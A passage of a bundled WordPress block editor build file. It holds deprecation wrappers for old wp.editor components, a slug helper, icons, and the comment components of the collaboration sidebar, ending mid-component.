;// ./node_modules/@wordpress/editor/build-module/components/deprecated.js
// Block Creation Components.
/**
 * WordPress dependencies
 */





function deprecateComponent(name, Wrapped, staticsToHoist = []) {
  const Component = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
    external_wp_deprecated_default()('wp.editor.' + name, {
      since: '5.3',
      alternative: 'wp.blockEditor.' + name,
      version: '6.2'
    });
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapped, {
      ref: ref,
      ...props
    });
  });
  staticsToHoist.forEach(staticName => {
    Component[staticName] = deprecateComponent(name + '.' + staticName, Wrapped[staticName]);
  });
  return Component;
}
function deprecateFunction(name, func) {
  return (...args) => {
    external_wp_deprecated_default()('wp.editor.' + name, {
      since: '5.3',
      alternative: 'wp.blockEditor.' + name,
      version: '6.2'
    });
    return func(...args);
  };
}

/**
 * @deprecated since 5.3, use `wp.blockEditor.RichText` instead.
 */
const RichText = deprecateComponent('RichText', external_wp_blockEditor_namespaceObject.RichText, ['Content']);
RichText.isEmpty = deprecateFunction('RichText.isEmpty', external_wp_blockEditor_namespaceObject.RichText.isEmpty);


/**
 * @deprecated since 5.3, use `wp.blockEditor.Autocomplete` instead.
 */
const Autocomplete = deprecateComponent('Autocomplete', external_wp_blockEditor_namespaceObject.Autocomplete);
/**
 * @deprecated since 5.3, use `wp.blockEditor.AlignmentToolbar` instead.
 */
const AlignmentToolbar = deprecateComponent('AlignmentToolbar', external_wp_blockEditor_namespaceObject.AlignmentToolbar);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockAlignmentToolbar` instead.
 */
const BlockAlignmentToolbar = deprecateComponent('BlockAlignmentToolbar', external_wp_blockEditor_namespaceObject.BlockAlignmentToolbar);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockControls` instead.
 */
const BlockControls = deprecateComponent('BlockControls', external_wp_blockEditor_namespaceObject.BlockControls, ['Slot']);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockEdit` instead.
 */
const BlockEdit = deprecateComponent('BlockEdit', external_wp_blockEditor_namespaceObject.BlockEdit);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockEditorKeyboardShortcuts` instead.
 */
const BlockEditorKeyboardShortcuts = deprecateComponent('BlockEditorKeyboardShortcuts', external_wp_blockEditor_namespaceObject.BlockEditorKeyboardShortcuts);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockFormatControls` instead.
 */
const BlockFormatControls = deprecateComponent('BlockFormatControls', external_wp_blockEditor_namespaceObject.BlockFormatControls, ['Slot']);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockIcon` instead.
 */
const BlockIcon = deprecateComponent('BlockIcon', external_wp_blockEditor_namespaceObject.BlockIcon);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockInspector` instead.
 */
const BlockInspector = deprecateComponent('BlockInspector', external_wp_blockEditor_namespaceObject.BlockInspector);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockList` instead.
 */
const BlockList = deprecateComponent('BlockList', external_wp_blockEditor_namespaceObject.BlockList);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockMover` instead.
 */
const BlockMover = deprecateComponent('BlockMover', external_wp_blockEditor_namespaceObject.BlockMover);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockNavigationDropdown` instead.
 */
const BlockNavigationDropdown = deprecateComponent('BlockNavigationDropdown', external_wp_blockEditor_namespaceObject.BlockNavigationDropdown);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockSelectionClearer` instead.
 */
const BlockSelectionClearer = deprecateComponent('BlockSelectionClearer', external_wp_blockEditor_namespaceObject.BlockSelectionClearer);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockSettingsMenu` instead.
 */
const BlockSettingsMenu = deprecateComponent('BlockSettingsMenu', external_wp_blockEditor_namespaceObject.BlockSettingsMenu);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockTitle` instead.
 */
const BlockTitle = deprecateComponent('BlockTitle', external_wp_blockEditor_namespaceObject.BlockTitle);
/**
 * @deprecated since 5.3, use `wp.blockEditor.BlockToolbar` instead.
 */
const BlockToolbar = deprecateComponent('BlockToolbar', external_wp_blockEditor_namespaceObject.BlockToolbar);
/**
 * @deprecated since 5.3, use `wp.blockEditor.ColorPalette` instead.
 */
const ColorPalette = deprecateComponent('ColorPalette', external_wp_blockEditor_namespaceObject.ColorPalette);
/**
 * @deprecated since 5.3, use `wp.blockEditor.ContrastChecker` instead.
 */
const ContrastChecker = deprecateComponent('ContrastChecker', external_wp_blockEditor_namespaceObject.ContrastChecker);
/**
 * @deprecated since 5.3, use `wp.blockEditor.CopyHandler` instead.
 */
const CopyHandler = deprecateComponent('CopyHandler', external_wp_blockEditor_namespaceObject.CopyHandler);
/**
 * @deprecated since 5.3, use `wp.blockEditor.DefaultBlockAppender` instead.
 */
const DefaultBlockAppender = deprecateComponent('DefaultBlockAppender', external_wp_blockEditor_namespaceObject.DefaultBlockAppender);
/**
 * @deprecated since 5.3, use `wp.blockEditor.FontSizePicker` instead.
 */
const FontSizePicker = deprecateComponent('FontSizePicker', external_wp_blockEditor_namespaceObject.FontSizePicker);
/**
 * @deprecated since 5.3, use `wp.blockEditor.Inserter` instead.
 */
const Inserter = deprecateComponent('Inserter', external_wp_blockEditor_namespaceObject.Inserter);
/**
 * @deprecated since 5.3, use `wp.blockEditor.InnerBlocks` instead.
 */
const InnerBlocks = deprecateComponent('InnerBlocks', external_wp_blockEditor_namespaceObject.InnerBlocks, ['ButtonBlockAppender', 'DefaultBlockAppender', 'Content']);
/**
 * @deprecated since 5.3, use `wp.blockEditor.InspectorAdvancedControls` instead.
 */
const InspectorAdvancedControls = deprecateComponent('InspectorAdvancedControls', external_wp_blockEditor_namespaceObject.InspectorAdvancedControls, ['Slot']);
/**
 * @deprecated since 5.3, use `wp.blockEditor.InspectorControls` instead.
 */
const InspectorControls = deprecateComponent('InspectorControls', external_wp_blockEditor_namespaceObject.InspectorControls, ['Slot']);
/**
 * @deprecated since 5.3, use `wp.blockEditor.PanelColorSettings` instead.
 */
const PanelColorSettings = deprecateComponent('PanelColorSettings', external_wp_blockEditor_namespaceObject.PanelColorSettings);
/**
 * @deprecated since 5.3, use `wp.blockEditor.PlainText` instead.
 */
const PlainText = deprecateComponent('PlainText', external_wp_blockEditor_namespaceObject.PlainText);
/**
 * @deprecated since 5.3, use `wp.blockEditor.RichTextShortcut` instead.
 */
const RichTextShortcut = deprecateComponent('RichTextShortcut', external_wp_blockEditor_namespaceObject.RichTextShortcut);
/**
 * @deprecated since 5.3, use `wp.blockEditor.RichTextToolbarButton` instead.
 */
const RichTextToolbarButton = deprecateComponent('RichTextToolbarButton', external_wp_blockEditor_namespaceObject.RichTextToolbarButton);
/**
 * @deprecated since 5.3, use `wp.blockEditor.__unstableRichTextInputEvent` instead.
 */
const __unstableRichTextInputEvent = deprecateComponent('__unstableRichTextInputEvent', external_wp_blockEditor_namespaceObject.__unstableRichTextInputEvent);
/**
 * @deprecated since 5.3, use `wp.blockEditor.MediaPlaceholder` instead.
 */
const MediaPlaceholder = deprecateComponent('MediaPlaceholder', external_wp_blockEditor_namespaceObject.MediaPlaceholder);
/**
 * @deprecated since 5.3, use `wp.blockEditor.MediaUpload` instead.
 */
const MediaUpload = deprecateComponent('MediaUpload', external_wp_blockEditor_namespaceObject.MediaUpload);
/**
 * @deprecated since 5.3, use `wp.blockEditor.MediaUploadCheck` instead.
 */
const MediaUploadCheck = deprecateComponent('MediaUploadCheck', external_wp_blockEditor_namespaceObject.MediaUploadCheck);
/**
 * @deprecated since 5.3, use `wp.blockEditor.MultiSelectScrollIntoView` instead.
 */
const MultiSelectScrollIntoView = deprecateComponent('MultiSelectScrollIntoView', external_wp_blockEditor_namespaceObject.MultiSelectScrollIntoView);
/**
 * @deprecated since 5.3, use `wp.blockEditor.NavigableToolbar` instead.
 */
const NavigableToolbar = deprecateComponent('NavigableToolbar', external_wp_blockEditor_namespaceObject.NavigableToolbar);
/**
 * @deprecated since 5.3, use `wp.blockEditor.ObserveTyping` instead.
 */
const ObserveTyping = deprecateComponent('ObserveTyping', external_wp_blockEditor_namespaceObject.ObserveTyping);
/**
 * @deprecated since 5.3, use `wp.blockEditor.SkipToSelectedBlock` instead.
 */
const SkipToSelectedBlock = deprecateComponent('SkipToSelectedBlock', external_wp_blockEditor_namespaceObject.SkipToSelectedBlock);
/**
 * @deprecated since 5.3, use `wp.blockEditor.URLInput` instead.
 */
const URLInput = deprecateComponent('URLInput', external_wp_blockEditor_namespaceObject.URLInput);
/**
 * @deprecated since 5.3, use `wp.blockEditor.URLInputButton` instead.
 */
const URLInputButton = deprecateComponent('URLInputButton', external_wp_blockEditor_namespaceObject.URLInputButton);
/**
 * @deprecated since 5.3, use `wp.blockEditor.URLPopover` instead.
 */
const URLPopover = deprecateComponent('URLPopover', external_wp_blockEditor_namespaceObject.URLPopover);
/**
 * @deprecated since 5.3, use `wp.blockEditor.Warning` instead.
 */
const Warning = deprecateComponent('Warning', external_wp_blockEditor_namespaceObject.Warning);
/**
 * @deprecated since 5.3, use `wp.blockEditor.WritingFlow` instead.
 */
const WritingFlow = deprecateComponent('WritingFlow', external_wp_blockEditor_namespaceObject.WritingFlow);

/**
 * @deprecated since 5.3, use `wp.blockEditor.createCustomColorsHOC` instead.
 */
const createCustomColorsHOC = deprecateFunction('createCustomColorsHOC', external_wp_blockEditor_namespaceObject.createCustomColorsHOC);
/**
 * @deprecated since 5.3, use `wp.blockEditor.getColorClassName` instead.
 */
const getColorClassName = deprecateFunction('getColorClassName', external_wp_blockEditor_namespaceObject.getColorClassName);
/**
 * @deprecated since 5.3, use `wp.blockEditor.getColorObjectByAttributeValues` instead.
 */
const getColorObjectByAttributeValues = deprecateFunction('getColorObjectByAttributeValues', external_wp_blockEditor_namespaceObject.getColorObjectByAttributeValues);
/**
 * @deprecated since 5.3, use `wp.blockEditor.getColorObjectByColorValue` instead.
 */
const getColorObjectByColorValue = deprecateFunction('getColorObjectByColorValue', external_wp_blockEditor_namespaceObject.getColorObjectByColorValue);
/**
 * @deprecated since 5.3, use `wp.blockEditor.getFontSize` instead.
 */
const getFontSize = deprecateFunction('getFontSize', external_wp_blockEditor_namespaceObject.getFontSize);
/**
 * @deprecated since 5.3, use `wp.blockEditor.getFontSizeClass` instead.
 */
const getFontSizeClass = deprecateFunction('getFontSizeClass', external_wp_blockEditor_namespaceObject.getFontSizeClass);
/**
 * @deprecated since 5.3, use `wp.blockEditor.createCustomColorsHOC` instead.
 */
const withColorContext = deprecateFunction('withColorContext', external_wp_blockEditor_namespaceObject.withColorContext);
/**
 * @deprecated since 5.3, use `wp.blockEditor.withColors` instead.
 */
const withColors = deprecateFunction('withColors', external_wp_blockEditor_namespaceObject.withColors);
/**
 * @deprecated since 5.3, use `wp.blockEditor.withFontSizes` instead.
 */
const withFontSizes = deprecateFunction('withFontSizes', external_wp_blockEditor_namespaceObject.withFontSizes);

;// ./node_modules/@wordpress/editor/build-module/components/index.js
/**
 * Internal dependencies
 */


// Block Creation Components.


// Post Related Components.























































































// State Related Components.



/**
 * Handles the keyboard shortcuts for the editor.
 *
 * It provides functionality for various keyboard shortcuts such as toggling editor mode,
 * toggling distraction-free mode, undo/redo, saving the post, toggling list view,
 * and toggling the sidebar.
 */
const VisualEditorGlobalKeyboardShortcuts = EditorKeyboardShortcuts;

/**
 * Handles the keyboard shortcuts for the editor.
 *
 * It provides functionality for various keyboard shortcuts such as toggling editor mode,
 * toggling distraction-free mode, undo/redo, saving the post, toggling list view,
 * and toggling the sidebar.
 */
const TextEditorGlobalKeyboardShortcuts = EditorKeyboardShortcuts;

;// ./node_modules/@wordpress/editor/build-module/utils/url.js
/**
 * WordPress dependencies
 */



/**
 * Performs some basic cleanup of a string for use as a post slug
 *
 * This replicates some of what sanitize_title() does in WordPress core, but
 * is only designed to approximate what the slug will be.
 *
 * Converts Latin-1 Supplement and Latin Extended-A letters to basic Latin letters.
 * Removes combining diacritical marks. Converts whitespace, periods,
 * and forward slashes to hyphens. Removes any remaining non-word characters
 * except hyphens and underscores. Converts remaining string to lowercase.
 * It does not account for octets, HTML entities, or other encoded characters.
 *
 * @param {string} string Title or slug to be processed
 *
 * @return {string} Processed string
 */
function cleanForSlug(string) {
  external_wp_deprecated_default()('wp.editor.cleanForSlug', {
    since: '12.7',
    plugin: 'Gutenberg',
    alternative: 'wp.url.cleanForSlug'
  });
  return (0,external_wp_url_namespaceObject.cleanForSlug)(string);
}

;// ./node_modules/@wordpress/editor/build-module/utils/index.js
/**
 * Internal dependencies
 */





;// ./node_modules/@wordpress/editor/build-module/components/editor-interface/content-slot-fill.js
/**
 * WordPress dependencies
 */

const EditorContentSlotFill = (0,external_wp_components_namespaceObject.createSlotFill)(Symbol('EditCanvasContainerSlot'));
/* harmony default export */ const content_slot_fill = (EditorContentSlotFill);

;// ./node_modules/@wordpress/editor/build-module/components/header/back-button.js
/**
 * WordPress dependencies
 */


// Keeping an old name for backward compatibility.

const slotName = '__experimentalMainDashboardButton';
const useHasBackButton = () => {
  const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotName);
  return Boolean(fills && fills.length);
};
const {
  Fill: back_button_Fill,
  Slot: back_button_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)(slotName);
const BackButton = back_button_Fill;
const BackButtonSlot = () => {
  const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotName);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(back_button_Slot, {
    bubblesVirtually: true,
    fillProps: {
      length: !fills ? 0 : fills.length
    }
  });
};
BackButton.Slot = BackButtonSlot;
/* harmony default export */ const back_button = (BackButton);

;// ./node_modules/@wordpress/icons/build-module/library/comment.js
/**
 * WordPress dependencies
 */


const comment = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z"
  })
});
/* harmony default export */ const library_comment = (comment);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/constants.js
const collabHistorySidebarName = 'edit-post/collab-history-sidebar';
const collabSidebarName = 'edit-post/collab-sidebar';

;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
/**
 * WordPress dependencies
 */


const moreVertical = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"
  })
});
/* harmony default export */ const more_vertical = (moreVertical);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-author-info.js
/**
 * WordPress dependencies
 */







/**
 * Render author information for a comment.
 *
 * @param {Object} props        - Component properties.
 * @param {string} props.avatar - URL of the author's avatar.
 * @param {string} props.name   - Name of the author.
 * @param {string} props.date   - Date of the comment.
 *
 * @return {React.ReactNode} The JSX element representing the author's information.
 */

function CommentAuthorInfo({
  avatar,
  name,
  date
}) {
  const dateSettings = (0,external_wp_date_namespaceObject.getSettings)();
  const [dateTimeFormat = dateSettings.formats.time] = (0,external_wp_coreData_namespaceObject.useEntityProp)('root', 'site', 'time_format');
  const {
    currentUserAvatar,
    currentUserName
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _userData$avatar_urls;
    const userData = select(external_wp_coreData_namespaceObject.store).getCurrentUser();
    const {
      getSettings
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      __experimentalDiscussionSettings
    } = getSettings();
    const defaultAvatar = __experimentalDiscussionSettings?.avatarURL;
    return {
      currentUserAvatar: (_userData$avatar_urls = userData?.avatar_urls[48]) !== null && _userData$avatar_urls !== void 0 ? _userData$avatar_urls : defaultAvatar,
      currentUserName: userData?.name
    };
  }, []);
  const currentDate = new Date();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      src: avatar !== null && avatar !== void 0 ? avatar : currentUserAvatar,
      className: "editor-collab-sidebar-panel__user-avatar"
      // translators: alt text for user avatar image
      ,
      alt: (0,external_wp_i18n_namespaceObject.__)('User avatar'),
      width: 32,
      height: 32
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "0",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        className: "editor-collab-sidebar-panel__user-name",
        children: name !== null && name !== void 0 ? name : currentUserName
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {
        dateTime: (0,external_wp_date_namespaceObject.dateI18n)('c', date !== null && date !== void 0 ? date : currentDate),
        className: "editor-collab-sidebar-panel__user-time",
        children: (0,external_wp_date_namespaceObject.dateI18n)(dateTimeFormat, date !== null && date !== void 0 ? date : currentDate)
      })]
    })]
  });
}
/* harmony default export */ const comment_author_info = (CommentAuthorInfo);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/utils.js
/**
 * Sanitizes a comment string by removing non-printable ASCII characters.
 *
 * @param {string} str - The comment string to sanitize.
 * @return {string} - The sanitized comment string.
 */
function sanitizeCommentString(str) {
  return str.trim();
}

/**
 * Extracts comment IDs from an array of blocks.
 *
 * This function recursively traverses the blocks and their inner blocks to
 * collect all comment IDs found in the block attributes.
 *
 * @param {Array} blocks - The array of blocks to extract comment IDs from.
 * @return {Array} An array of comment IDs extracted from the blocks.
 */
function getCommentIdsFromBlocks(blocks) {
  // Recursive function to extract comment IDs from blocks
  const extractCommentIds = items => {
    return items.reduce((commentIds, block) => {
      // Check for comment IDs in the current block's attributes
      if (block.attributes && block.attributes.blockCommentId && !commentIds.includes(block.attributes.blockCommentId)) {
        commentIds.push(block.attributes.blockCommentId);
      }

      // Recursively check inner blocks
      if (block.innerBlocks && block.innerBlocks.length > 0) {
        const innerCommentIds = extractCommentIds(block.innerBlocks);
        commentIds.push(...innerCommentIds);
      }
      return commentIds;
    }, []);
  };

  // Extract all comment IDs recursively
  return extractCommentIds(blocks);
}

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-form.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * EditComment component.
 *
 * @param {Object}   props                  - The component props.
 * @param {Function} props.onSubmit         - The function to call when updating the comment.
 * @param {Function} props.onCancel         - The function to call when canceling the comment update.
 * @param {Object}   props.thread           - The comment thread object.
 * @param {string}   props.submitButtonText - The text to display on the submit button.
 * @return {React.ReactNode} The CommentForm component.
 */

function CommentForm({
  onSubmit,
  onCancel,
  thread,
  submitButtonText
}) {
  var _thread$content$raw;
  const [inputComment, setInputComment] = (0,external_wp_element_namespaceObject.useState)((_thread$content$raw = thread?.content?.raw) !== null && _thread$content$raw !== void 0 ? _thread$content$raw : '');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextareaControl, {
      __next40pxDefaultSize: true,
      __nextHasNoMarginBottom: true,
      value: inputComment !== null && inputComment !== void 0 ? inputComment : '',
      onChange: setInputComment
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "left",
      spacing: "3",
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        accessibleWhenDisabled: true,
        variant: "primary",
        onClick: () => {
          onSubmit(inputComment);
          setInputComment('');
        },
        disabled: 0 === sanitizeCommentString(inputComment).length,
        text: submitButtonText
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "tertiary",
        onClick: onCancel,
        text: (0,external_wp_i18n_namespaceObject._x)('Cancel', 'Cancel comment button')
      })]
    })]
  });
}
/* harmony default export */ const comment_form = (CommentForm);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comments.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



/**
 * Renders the Comments component.
 *
 * @param {Object}   props                     - The component props.
 * @param {Array}    props.threads             - The array of comment threads.
 * @param {Function} props.onEditComment       - The function to handle comment editing.
 * @param {Function} props.onAddReply          - The function to add a reply to a comment.
 * @param {Function} props.onCommentDelete     - The function to delete a comment.
 * @param {Function} props.onCommentResolve    - The function to mark a comment as resolved.
 * @param {boolean}  props.showCommentBoard    - Whether to show the comment board.
 * @param {Function} props.setShowCommentBoard - The function to set the comment board visibility.
 * @return {React.ReactNode} The rendered Comments component.
 */

function Comments({
  threads,
  onEditComment,
  onAddReply,
  onCommentDelete,
  onCommentResolve,
  showCommentBoard,
  setShowCommentBoard
}) {
  const {
    blockCommentId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockAttributes,
      getSelectedBlockClientId
    } = select(external_wp_blockEditor_namespaceObject.store);
    const _clientId = getSelectedBlockClientId();
    return {
      blockCommentId: _clientId ? getBlockAttributes(_clientId)?.blockCommentId : null
    };
  }, []);
  const [focusThread, setFocusThread] = (0,external_wp_element_namespaceObject.useState)(showCommentBoard && blockCommentId ? blockCommentId : null);
  const clearThreadFocus = () => {
    setFocusThread(null);
    setShowCommentBoard(false);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [
    // If there are no comments, show a message indicating no comments are available.
    (!Array.isArray(threads) || threads.length === 0) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
      alignment: "left",
      className: "editor-collab-sidebar-panel__thread",
      justify: "flex-start",
      spacing: "3",
      children:
      // translators: message displayed when there are no comments available
      (0,external_wp_i18n_namespaceObject.__)('No comments available')
    }), Array.isArray(threads) && threads.length > 0 && threads.map(thread => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: dist_clsx('editor-collab-sidebar-panel__thread', {
        'editor-collab-sidebar-panel__active-thread': blockCommentId && blockCommentId === thread.id,
        'editor-collab-sidebar-panel__focus-thread': focusThread && focusThread === thread.id
      }),
      id: thread.id,
      spacing: "3",
      onClick: () => setFocusThread(thread.id),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Thread, {
        thread: thread,
        onAddReply: onAddReply,
        onCommentDelete: onCommentDelete,
        onCommentResolve: onCommentResolve,
        onEditComment: onEditComment,
        isFocused: focusThread === thread.id,
        clearThreadFocus: clearThreadFocus
      })
    }, thread.id))]
  });
}
function Thread({
  thread,
  onEditComment,
  onAddReply,
  onCommentDelete,
  onCommentResolve,
  isFocused,
  clearThreadFocus
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentBoard, {
      thread: thread,
      onResolve: onCommentResolve,
      onEdit: onEditComment,
      onDelete: onCommentDelete,
      status: thread.status
    }), 0 < thread?.reply?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [!isFocused && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "editor-collab-sidebar-panel__show-more-reply",
        children: (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: 1: number of replies.
        (0,external_wp_i18n_namespaceObject._x)('%s more replies..', 'Show replies button'), thread?.reply?.length)
      }), isFocused && thread.reply.map(reply => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        className: "editor-collab-sidebar-panel__child-thread",
        id: reply.id,
        spacing: "2",
        children: ['approved' !== thread.status && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentBoard, {
          thread: reply,
          onEdit: onEditComment,
          onDelete: onCommentDelete
        }), 'approved' === thread.status && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentBoard, {
          thread: reply
        })]
      }, reply.id))]
    }), 'approved' !== thread.status && isFocused && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      className: "editor-collab-sidebar-panel__child-thread",
      spacing: "2",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
        alignment: "left",
        spacing: "3",
        justify: "flex-start",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_author_info, {})
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "3",
        className: "editor-collab-sidebar-panel__comment-field",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_form, {
          onSubmit: inputComment => {
            onAddReply(inputComment, thread.id);
          },
          onCancel: event => {
            event.stopPropagation(); // Prevent the parent onClick from being triggered
            clearThreadFocus();
          },
          submitButtonText: (0,external_wp_i18n_namespaceObject._x)('Reply', 'Add reply comment')
        })
      })]
    })]
  });
}
const CommentBoard = ({
  thread,
  onResolve,
  onEdit,
  onDelete,
  status
}) => {
  const [actionState, setActionState] = (0,external_wp_element_namespaceObject.useState)(false);
  const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
  const handleConfirmDelete = () => {
    onDelete(thread.id);
    setActionState(false);
    setShowConfirmDialog(false);
  };
  const handleConfirmResolve = () => {
    onResolve(thread.id);
    setActionState(false);
    setShowConfirmDialog(false);
  };
  const handleCancel = () => {
    setActionState(false);
    setShowConfirmDialog(false);
  };
  const actions = [onEdit && {
    title: (0,external_wp_i18n_namespaceObject._x)('Edit', 'Edit comment'),
    onClick: () => {
      setActionState('edit');
    }
  }, onDelete && {
    title: (0,external_wp_i18n_namespaceObject._x)('Delete', 'Delete comment'),
    onClick: () => {
      setActionState('delete');
      setShowConfirmDialog(true);
    }
  }];
  const moreActions = actions.filter(item => item?.onClick);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "left",
      spacing: "3",
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_author_info, {
        avatar: thread?.author_avatar_urls?.[48],
        name: thread?.author_name,
        date: thread?.date
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
        className: "editor-collab-sidebar-panel__comment-status",
        children: [status !== 'approved' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          alignment: "right",
          justify: "flex-end",
          spacing: "0",
          children: [0 === thread?.parent && onResolve && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            label: (0,external_wp_i18n_namespaceObject._x)('Resolve', 'Mark comment as resolved'),
            __next40pxDefaultSize: true,
            icon: library_published,
            onClick: () => {
              setActionState('resolve');
              setShowConfirmDialog(true);
            },
            showTooltip: true
          }), 0 < moreActions.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
            icon: more_vertical,
            label: (0,external_wp_i18n_namespaceObject._x)('Select an action', 'Select comment action'),
            className: "editor-collab-sidebar-panel__comment-dropdown-menu",
            controls: moreActions
          })]
        }), status === 'approved' &&
        /*#__PURE__*/
        // translators: tooltip for resolved comment
        (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
          text: (0,external_wp_i18n_namespaceObject.__)('Resolved'),
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
            icon: library_check
          })
        })]
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "left",
      spacing: "3",
      justify: "flex-start",
      className: "editor-collab-sidebar-panel__user-comment",
